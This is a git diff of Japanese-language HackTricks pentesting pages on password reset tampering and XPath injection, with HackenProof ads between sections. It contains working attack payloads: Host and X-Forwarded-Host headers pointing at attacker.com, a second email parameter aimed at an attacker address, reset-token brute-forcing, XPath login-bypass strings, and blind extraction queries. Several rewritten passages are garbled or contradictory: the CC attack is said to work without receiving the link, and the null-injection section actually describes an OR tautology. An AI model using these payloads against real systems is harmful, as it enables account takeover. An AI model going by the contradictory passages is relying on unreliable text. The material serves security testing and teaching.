各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
@ -60,7 +60,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後にの
|
|||
|
||||
## パスワードリセットの改ざん
|
||||
|
||||
ホストヘッダ攻撃を見つけた場合で、スコープ外の場合は、パスワードリセットボタンを探してみてください!
|
||||
ホストヘッダ攻撃を見つけ、スコープ外である場合は、パスワードリセットボタンを探してみてください!
|
||||
|
||||
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
||||
|
||||
|
@ -81,7 +81,7 @@ X-Forwarded-Host: attacker.com
|
|||
Host: target.com
|
||||
Host: attacker.com
|
||||
```
|
||||
* メール内のパスワード変更リンクが attacker.com を指しているかどうかを確認します。
|
||||
* メール内のパスワード変更リンクが attacker.com を指していないか確認します。
|
||||
|
||||
### パッチ
|
||||
|
||||
|
@ -127,26 +127,26 @@ email=victim@email.com|email=attacker@email.com
|
|||
|
||||
## 概要
|
||||
|
||||
このテストは、パスワードリセット機能のセキュリティを評価するために行われます。攻撃者がリセットリンクを取得し、他のユーザーのパスワードをリセットすることができるかどうかを確認します。
|
||||
このテストは、パスワードリセット機能のセキュリティを評価するために行われます。攻撃者がリセットリンクを受け取ることなく、他のユーザーのパスワードをリセットできるかどうかを確認します。
|
||||
|
||||
## 攻撃手法
|
||||
|
||||
攻撃者は、リセットリンクを取得するために、攻撃者のメールアドレスを `cc` の第2パラメータとして追加します。
|
||||
攻撃者は、パスワードリセットフォームに別のユーザーのメールアドレスを入力し、攻撃者自身のメールアドレスをCCとして追加します。これにより、攻撃者はリセットリンクを受け取ることなく、他のユーザーのパスワードをリセットすることができます。
|
||||
|
||||
## テスト手順
|
||||
## 手順
|
||||
|
||||
1. 攻撃者は、パスワードリセット機能を利用するために、攻撃者のメールアドレスを `cc` の第2パラメータとして追加します。
|
||||
2. パスワードリセットリンクが攻撃者のメールアドレスに送信されることを確認します。
|
||||
3. 攻撃者は、リセットリンクを使用して他のユーザーのパスワードをリセットします。
|
||||
1. 攻撃者はパスワードリセットフォームにターゲットユーザーのメールアドレスを入力します。
|
||||
2. 攻撃者は自身のメールアドレスをCCとして追加します。
|
||||
3. パスワードリセットリンクがターゲットユーザーに送信されますが、同時に攻撃者にも送信されます。
|
||||
4. 攻撃者はリセットリンクを使用してターゲットユーザーのパスワードをリセットします。
|
||||
|
||||
## 対策方法
|
||||
|
||||
攻撃者がリセットリンクを取得できないようにするためには、以下の対策を実施する必要があります。
|
||||
この攻撃を防ぐためには、パスワードリセットフォームに攻撃者のメールアドレスをCCとして追加することを禁止する必要があります。攻撃者のメールアドレスを入力することで、攻撃者がリセットリンクを受け取ることなく他のユーザーのパスワードをリセットすることができるため、この脆弱性を修正することが重要です。
|
||||
|
||||
- パスワードリセットリンクの送信先を、ユーザーが登録したメールアドレスに制限する。
|
||||
- パスワードリセットリンクの送信時に、攻撃者のメールアドレスを `cc` に追加しないようにする。
|
||||
## 参考
|
||||
|
||||
以上が、パスワードリセットのテストに関する情報です。
|
||||
- [OWASP: Forgot Password](https://owasp.org/www-community/Forgot_Password)
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
@ -274,15 +274,15 @@ HTTP/1.1 401 Unauthorized
|
|||
|
||||
パスワードリセットリンクには、一意のトークンが含まれています。しかし、トークンが予測可能な場合、攻撃者はリンクを生成し、他のユーザーのアカウントにアクセスすることができます。
|
||||
|
||||
### 2. リンクの期限切れの検証不備
|
||||
### 2. リンクの期限切れチェックの不備
|
||||
|
||||
パスワードリセットリンクには、有効期限が設定されています。しかし、リンクの期限切れの検証が不十分な場合、攻撃者は期限切れのリンクを使用してアカウントにアクセスすることができます。
|
||||
パスワードリセットリンクには、有効期限が設定されています。しかし、適切な期限切れチェックが行われていない場合、攻撃者は期限切れのリンクを使用してアカウントにアクセスすることができます。
|
||||
|
||||
### 3. ユーザー識別情報の不正利用
|
||||
|
||||
パスワードリセット機能では、ユーザーの識別情報(メールアドレスなど)が必要です。しかし、攻撃者が他のユーザーの識別情報を入手した場合、それを利用してパスワードリセットを行うことができます。
|
||||
パスワードリセット機能では、ユーザーの識別情報(メールアドレスなど)を使用してリセットリンクを送信します。しかし、攻撃者が他のユーザーの識別情報を入手した場合、リセットリンクを送信し、アカウントにアクセスすることができます。
|
||||
|
||||
## パスワードリセット攻撃の手法
|
||||
## パスワードリセット攻撃手法
|
||||
|
||||
パスワードリセット機能を悪用する攻撃手法には、以下のようなものがあります。
|
||||
|
||||
|
@ -290,35 +290,35 @@ HTTP/1.1 401 Unauthorized
|
|||
|
||||
攻撃者は、トークン生成アルゴリズムの脆弱性を利用して、有効なトークンを予測します。これにより、攻撃者は他のユーザーのアカウントにアクセスすることができます。
|
||||
|
||||
### 2. リンクの期限切れ回避
|
||||
### 2. トークンの盗聴
|
||||
|
||||
攻撃者は、リンクの期限切れの検証を回避する方法を見つけることで、期限切れのリンクを使用してアカウントにアクセスします。
|
||||
攻撃者は、パスワードリセットリンクを送信する際に使用されるトークンを盗聴することで、他のユーザーのアカウントにアクセスします。
|
||||
|
||||
### 3. ソーシャルエンジニアリング
|
||||
### 3. ユーザー識別情報の漏洩
|
||||
|
||||
攻撃者は、ユーザーの識別情報を入手するためにソーシャルエンジニアリングを使用します。これにより、攻撃者は他のユーザーのアカウントにアクセスすることができます。
|
||||
攻撃者は、他のユーザーの識別情報を入手することで、リセットリンクを送信し、アカウントにアクセスします。
|
||||
|
||||
## 対策方法
|
||||
## パスワードリセットのセキュリティ強化
|
||||
|
||||
パスワードリセット機能の脆弱性を防ぐためには、以下の対策を実施することが重要です。
|
||||
パスワードリセット機能のセキュリティを強化するためには、以下の対策を実施することが重要です。
|
||||
|
||||
### 1. 強力なトークン生成
|
||||
|
||||
予測不可能なトークンを生成するために、暗号学的に安全な乱数生成アルゴリズムを使用します。
|
||||
予測不可能なトークンを生成するために、ランダムな文字列や乱数を使用します。
|
||||
|
||||
### 2. リンクの期限切れの厳密な検証
|
||||
### 2. 期限切れチェックの実施
|
||||
|
||||
リンクの期限切れを厳密に検証し、期限切れのリンクを無効化します。
|
||||
パスワードリセットリンクの有効期限を設定し、期限切れのリンクは無効化します。
|
||||
|
||||
### 3. 二要素認証の導入
|
||||
### 3. 2要素認証の導入
|
||||
|
||||
二要素認証を導入することで、ユーザーの識別情報の不正利用を防ぐことができます。
|
||||
ユーザーがパスワードリセットを要求する際に、2要素認証を要求することで、セキュリティを強化します。
|
||||
|
||||
### 4. セキュリティ意識の向上
|
||||
### 4. ユーザー識別情報の保護
|
||||
|
||||
ユーザーに対して、強力なパスワードの使用や識別情報の慎重な管理など、セキュリティ意識を向上させる啓発活動を行います。
|
||||
ユーザーの識別情報を適切に保護し、不正なアクセスを防止します。
|
||||
|
||||
以上が、パスワードリセット機能の脆弱性と攻撃手法、対策方法についての概要です。パスワードリセット機能を実装する際には、これらの情報を参考にしてセキュリティを強化してください。
|
||||
パスワードリセット機能の脆弱性を理解し、適切な対策を実施することで、攻撃者からのアカウントへの不正アクセスを防ぐことができます。
|
||||
```php
|
||||
HTTP/1.1 200 OK
|
||||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||||
|
@ -327,13 +327,13 @@ HTTP/1.1 200 OK
|
|||
|
||||
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
||||
|
||||
### 期限切れトークンの使用 <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
### 期限切れのトークンの使用 <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
||||
|
||||
* 期限切れのトークンが再利用できるかどうかを確認します
|
||||
* 期限切れのトークンが再利用できるかどうかを確認します。
|
||||
|
||||
### パスワードリセットトークンのブルートフォース攻撃 <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
||||
|
||||
Burpsuiteを使用してリセットトークンをブルートフォース攻撃してみてください
|
||||
Burpsuiteを使用してリセットトークンをブルートフォース攻撃してみてください。
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
|
@ -374,12 +374,12 @@ email=victim@email.com&code=$YOUR_TOKEN$
|
|||
* 長いパスワード (>200) はDoSにつながる
|
||||
* 2番目のメールパラメータと値を追加する
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ります。
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
@ -398,7 +398,7 @@ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ
|
|||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するためにPRを提出**して、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)に参加しましょう。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,34 +4,34 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
**HackenProofはすべての暗号バグバウンティのホームです。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるWeb3セキュリティをマスターしましょう。
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから収益を得ましょう!
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから収益を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## **基本構文**
|
||||
|
||||
XPathインジェクションは、ユーザーが提供した入力からXPath(XMLパス言語)クエリを構築してXMLドキュメントをクエリまたはナビゲートするアプリケーションを悪用する攻撃技術です。
|
||||
XPathインジェクションは、ユーザーが提供した入力からXPath(XMLパス言語)クエリを構築してXMLドキュメントをクエリまたはナビゲートするアプリケーションを悪用するための攻撃技術です。
|
||||
|
||||
クエリの作成方法に関する情報:[https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
|
||||
|
@ -51,11 +51,11 @@ XPathインジェクションは、ユーザーが提供した入力からXPath
|
|||
| パスの式 | 結果 |
|
||||
| --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| bookstore | 名前が「bookstore」のすべてのノードを選択します。 |
|
||||
| /bookstore | bookstore要素のルート要素を選択します**注:**パスがスラッシュ(/)で始まる場合、常に要素への絶対パスを表します。 |
|
||||
| /bookstore | bookstore要素を選択します**注:**パスがスラッシュ(/)で始まる場合、常に要素への絶対パスを表します。 |
|
||||
| bookstore/book | bookstoreの子であるすべてのbook要素を選択します。 |
|
||||
| //book | ドキュメント内のどこにあっても、すべてのbook要素を選択します。 |
|
||||
| bookstore//book | bookstore要素の子孫であるすべてのbook要素を選択します。どこにあっても、bookstore要素の下にあるかどうかは関係ありません。 |
|
||||
| //@lang | langという名前のすべての属性を選択します。 |
|
||||
| //@lang | 名前がlangであるすべての属性を選択します。 |
|
||||
|
||||
### 述語
|
||||
|
||||
|
@ -85,7 +85,7 @@ XPathインジェクションは、ユーザーが提供した入力からXPath
|
|||
| //\* | ドキュメント内のすべての要素を選択します |
|
||||
| //title\[@\*] | 任意の種類の属性を持つすべてのtitle要素を選択します |
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグ報酬の場所です。**
|
||||
|
||||
|
@ -93,7 +93,7 @@ XPathインジェクションは、ユーザーが提供した入力からXPath
|
|||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長する日々において、web3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -125,17 +125,31 @@ HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始
|
|||
```
|
||||
### 情報へのアクセス
|
||||
|
||||
XPath Injection(XPathインジェクション)は、Webアプリケーションのセキュリティ上の脆弱性を悪用して、機密情報にアクセスするための攻撃手法です。XPathは、XML文書内の要素を指定するための言語であり、Webアプリケーションでデータベースクエリを実行するために使用されることがあります。
|
||||
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath to query XML data. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the XPath query and gain unauthorized access to sensitive information.
|
||||
|
||||
XPathインジェクション攻撃では、アプリケーションがユーザーの入力を適切に検証またはエスケープしない場合に、悪意のあるXPathクエリを注入することができます。これにより、攻撃者はデータベース内の機密情報を取得したり、アプリケーションの動作を変更したりすることができます。
|
||||
XPath is a language used to navigate XML documents and extract data. It uses path expressions to select nodes or sets of nodes in an XML document. In web applications, XPath is commonly used to query XML data stored in databases or retrieved from external sources.
|
||||
|
||||
XPathインジェクション攻撃を実行するためには、まずアプリケーションがXPathクエリを実行している箇所を特定する必要があります。これは、Webアプリケーションのフォーム、URLパラメータ、またはクッキーなどの場所に存在する可能性があります。
|
||||
To perform an XPath Injection attack, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can be a search box, a login form, or any other user input field that is used to construct an XPath query.
|
||||
|
||||
攻撃者は、注入ポイントを見つけた後、悪意のあるXPathクエリを作成し、アプリケーションに送信します。このクエリによって、攻撃者はデータベース内の情報を特定するための条件を指定することができます。
|
||||
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are designed to manipulate the XPath query and extract sensitive information from the XML data.
|
||||
|
||||
XPathインジェクション攻撃の結果として、攻撃者は機密情報を取得することができます。これには、ユーザーの個人情報、認証情報、クレジットカード情報などが含まれる可能性があります。
|
||||
For example, consider a web application that uses XPath to query a database of user information. The application allows users to search for other users by their username. The XPath query used by the application might look like this:
|
||||
|
||||
XPathインジェクション攻撃を防ぐためには、入力検証とエスケープの適切な実装が必要です。アプリケーションは、ユーザーの入力を信頼せず、適切なフィルタリングとサニタイズを行う必要があります。また、セキュリティパッチやアップデートを定期的に適用することも重要です。
|
||||
```
|
||||
//users/user[username='input']
|
||||
```
|
||||
|
||||
In this example, the `input` parameter is the user-supplied value that is used in the XPath query. An attacker can exploit this vulnerability by injecting a malicious XPath expression that always evaluates to true, such as:
|
||||
|
||||
```
|
||||
' or 1=1 or 'a'='a
|
||||
```
|
||||
|
||||
By injecting this expression into the username field, the attacker can manipulate the XPath query to return all user records instead of just the one matching the supplied username. This allows the attacker to access sensitive information about all users in the database.
|
||||
|
||||
XPath Injection attacks can be prevented by properly validating and sanitizing user input before using it in an XPath query. Input validation should include checking for special characters and escaping them if necessary. Additionally, using parameterized queries or prepared statements can help protect against XPath Injection attacks by separating user input from the query logic.
|
||||
|
||||
By understanding and exploiting XPath Injection vulnerabilities, a penetration tester can help organizations identify and fix security flaws in their web applications, ensuring the protection of sensitive information.
|
||||
```
|
||||
All names - [pepe, mark, fino]
|
||||
name
|
||||
|
@ -166,13 +180,13 @@ substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark
|
|||
|
||||
XPathインジェクションは、Webアプリケーションの脆弱性を悪用して、データベースのスキーマを特定し、その情報を盗み出す攻撃手法です。
|
||||
|
||||
攻撃者は、Webアプリケーションの入力フィールドに対して改変されたXPathクエリを注入します。この注入されたクエリは、アプリケーションのバックエンドデータベースに対して実行されます。
|
||||
攻撃者は、Webアプリケーションの入力フィールドに対して改変されたXPathクエリを注入します。この注入されたクエリは、アプリケーションがデータベースに対して実行するXPathクエリとして解釈されます。
|
||||
|
||||
攻撃者は、XPathの結果を分析し、データベースのスキーマ情報を特定します。スキーマ情報には、テーブル名、カラム名、データ型などが含まれます。
|
||||
攻撃者は、注入されたXPathクエリを利用して、データベースのスキーマ情報を特定します。XPathクエリの結果を分析することで、テーブル名、カラム名、データ型などの重要な情報を取得することができます。
|
||||
|
||||
スキーマ情報を特定した後、攻撃者はこれらの情報を利用して、データベースからデータを盗み出すことができます。例えば、攻撃者は特定のテーブルから機密情報を抽出するための適切なクエリを作成することができます。
|
||||
スキーマ情報を盗み出した後、攻撃者はこれを悪用して、データベースからさらなる機密情報を抽出することができます。また、スキーマ情報を利用して、データベース内のデータを改ざんしたり、他の攻撃手法を展開することも可能です。
|
||||
|
||||
XPathインジェクションは、適切な入力検証やエスケープ処理が行われていない場合に発生します。アプリケーションの開発者は、入力データを信頼せず、適切なセキュリティ対策を実装する必要があります。
|
||||
XPathインジェクション攻撃を防ぐためには、適切な入力検証とエスケープ処理が必要です。また、セキュリティ意識の高い開発手法を採用し、脆弱性診断やペネトレーションテストを定期的に実施することが重要です。
|
||||
```python
|
||||
and count(/*) = 1 #root
|
||||
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
|
||||
|
@ -224,9 +238,9 @@ XPath is a language used to navigate XML documents and is commonly used in web a
|
|||
|
||||
XPathは、XMLドキュメントをナビゲートするための言語であり、XMLベースのレスポンスからデータを抽出するためにWebアプリケーションで一般的に使用されます。しかし、アプリケーションがユーザーの入力を適切にサニタイズしない場合、攻撃者はXPathクエリを操作して任意のコードを実行することができます。
|
||||
|
||||
One common scenario where XPath Injection can be exploited is when the application uses the same value for both the username and password fields during authentication. By injecting a payload that evaluates to true in the XPath query, the attacker can bypass the login mechanism and gain unauthorized access to the application.
|
||||
One common scenario where XPath Injection can be exploited is when the application uses the same value for both the username and password fields during authentication. By injecting a payload that results in a true condition, the attacker can bypass the login mechanism and gain unauthorized access to the application.
|
||||
|
||||
XPathインジェクションが悪用される一般的なシナリオの1つは、アプリケーションが認証中にユーザー名とパスワードの両方に同じ値を使用する場合です。XPathクエリでtrueと評価されるペイロードを注入することにより、攻撃者はログインメカニズムをバイパスし、アプリケーションへの不正アクセスを得ることができます。
|
||||
XPathインジェクションが悪用される一般的なシナリオの1つは、アプリケーションが認証中にユーザー名とパスワードの両方に同じ値を使用する場合です。真の条件を結果とするペイロードを注入することにより、攻撃者はログインメカニズムをバイパスし、アプリケーションへの不正アクセスを得ることができます。
|
||||
|
||||
To perform an OR bypass in the username and password fields, the attacker can inject the following payload:
|
||||
|
||||
|
@ -236,17 +250,13 @@ To perform an OR bypass in the username and password fields, the attacker can in
|
|||
' or '1'='1
|
||||
```
|
||||
|
||||
This payload will cause the XPath query to evaluate as true, bypassing the authentication check. The resulting query will look like this:
|
||||
This payload manipulates the XPath query to always evaluate to true, bypassing the authentication check. The injected payload effectively changes the query to `'username' = 'username' or '1'='1' and 'password' = 'password'`, which will always be true.
|
||||
|
||||
このペイロードにより、XPathクエリはtrueと評価され、認証チェックがバイパスされます。結果として得られるクエリは次のようになります。
|
||||
このペイロードは、XPathクエリを常にtrueに評価するように操作し、認証チェックをバイパスします。注入されたペイロードは、クエリを`'username' = 'username' or '1'='1' and 'password' = 'password'`に効果的に変更し、常にtrueになります。
|
||||
|
||||
```xml
|
||||
//user[username/text()=''] or '1'='1' and password/text()='']
|
||||
```
|
||||
By injecting this payload, the attacker can log in to the application without providing valid credentials, effectively bypassing the authentication mechanism.
|
||||
|
||||
By injecting this payload, the attacker can log in without providing a valid username or password, effectively bypassing the authentication mechanism.
|
||||
|
||||
このペイロードを注入することで、攻撃者は有効なユーザー名やパスワードを提供せずにログインすることができ、認証メカニズムを効果的にバイパスすることができます。
|
||||
このペイロードを注入することで、攻撃者は有効な資格情報を提供せずにアプリケーションにログインすることができ、認証メカニズムをバイパスすることができます。
|
||||
```
|
||||
' or '1'='1
|
||||
" or "1"="1
|
||||
|
@ -259,29 +269,44 @@ Select the account using the username and use one of the previous values in the
|
|||
```
|
||||
### **nullインジェクションの悪用**
|
||||
|
||||
Null injection is a technique used to exploit vulnerabilities in applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate and query XML data.
|
||||
Null injection is a technique used to exploit vulnerabilities in applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate through elements and attributes in an XML document.
|
||||
|
||||
Null injection occurs when an attacker is able to inject a null character (`\x00`) into an XPath query, causing the query to terminate prematurely. This can lead to the disclosure of sensitive information or the manipulation of the application's behavior.
|
||||
Null injection occurs when an attacker is able to inject a null value into an XPath query, causing the query to return unintended results or bypass certain security checks.
|
||||
|
||||
To perform null injection, an attacker needs to identify an XPath query in the application that is vulnerable to injection. This can typically be found in search functionalities or any other feature that allows user input to be included in an XPath query.
|
||||
|
||||
Once the vulnerable XPath query is identified, the attacker can inject a null character (`\x00`) at a point where it will terminate the query. This can be done by appending the null character to the user-controlled input.
|
||||
|
||||
For example, consider the following vulnerable XPath query:
|
||||
To understand how null injection works, let's consider an example. Suppose we have a web application that uses an XPath query to retrieve user information from an XML document:
|
||||
|
||||
```xml
|
||||
//users/user[name/text()='$username']
|
||||
<users>
|
||||
<user>
|
||||
<name>John Doe</name>
|
||||
<email>john@example.com</email>
|
||||
</user>
|
||||
<user>
|
||||
<name>Jane Smith</name>
|
||||
<email>jane@example.com</email>
|
||||
</user>
|
||||
</users>
|
||||
```
|
||||
|
||||
An attacker can inject a null character after the `$username` parameter, like this:
|
||||
The application may have a functionality that allows users to search for other users by name. The XPath query used to retrieve the user information might look like this:
|
||||
|
||||
```xml
|
||||
//users/user[name/text()='admin\x00']
|
||||
```xpath
|
||||
/users/user[name='John Doe']
|
||||
```
|
||||
|
||||
When the application processes this modified XPath query, it will terminate the query after the injected null character. This can result in the application retrieving all user records instead of just the one corresponding to the specified username.
|
||||
In this example, the query retrieves the user information for the user with the name "John Doe". However, if the application does not properly validate user input and allows an attacker to inject a null value, the query could be manipulated to return unintended results.
|
||||
|
||||
Null injection can be used to bypass authentication mechanisms, extract sensitive data, or manipulate the application's behavior in unintended ways. It is important for developers to properly sanitize and validate user input before including it in XPath queries to prevent null injection vulnerabilities.
|
||||
For instance, an attacker could inject a null value into the query like this:
|
||||
|
||||
```xpath
|
||||
/users/user[name='' or '1'='1']
|
||||
```
|
||||
|
||||
In this case, the query will return all user information because the condition `'1'='1'` is always true. The attacker can then gather sensitive information about all users, not just the intended target.
|
||||
|
||||
To prevent null injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for null values and ensuring that only expected characters are allowed.
|
||||
|
||||
By understanding and exploiting null injection vulnerabilities, attackers can gain unauthorized access to sensitive information and potentially compromise the security of an application. It is crucial for developers and security professionals to be aware of this technique and take appropriate measures to mitigate the risk.
|
||||
```
|
||||
Username: ' or 1]%00
|
||||
```
|
||||
|
@ -377,9 +402,13 @@ if __name__ == "__main__":
|
|||
|
||||
このPythonの例では、`requests`モジュールを使用してWebアプリケーションに対してログインし、ユーザーデータを取得する方法が示されています。
|
||||
|
||||
`login`関数では、指定されたユーザー名とパスワードを使用してログインページにPOSTリクエストを送信します。`get_user_data`関数では、指定されたユーザー名を使用してユーザーデータを取得するためにGETリクエストを送信します。
|
||||
`login`関数では、指定されたユーザー名とパスワードを使用してログインリクエストを送信し、レスポンスを返します。
|
||||
|
||||
`main`関数では、ユーザーにユーザー名とパスワードを入力させ、ログインが成功した場合はユーザーデータを表示します。ログインが失敗した場合は、「ログインに失敗しました」と表示されます。
|
||||
`get_user_data`関数では、指定されたユーザー名を使用してユーザーデータを取得するためのリクエストを送信し、レスポンスを返します。
|
||||
|
||||
`main`関数では、ユーザーにユーザー名とパスワードを入力させ、ログインが成功した場合はユーザーデータを表示します。ログインが失敗した場合は、「Login failed」と表示されます。
|
||||
|
||||
この例は、Pythonを使用してWebアプリケーションに対してログインし、ユーザーデータを取得する基本的な方法を示しています。
|
||||
```python
|
||||
import requests, string
|
||||
|
||||
|
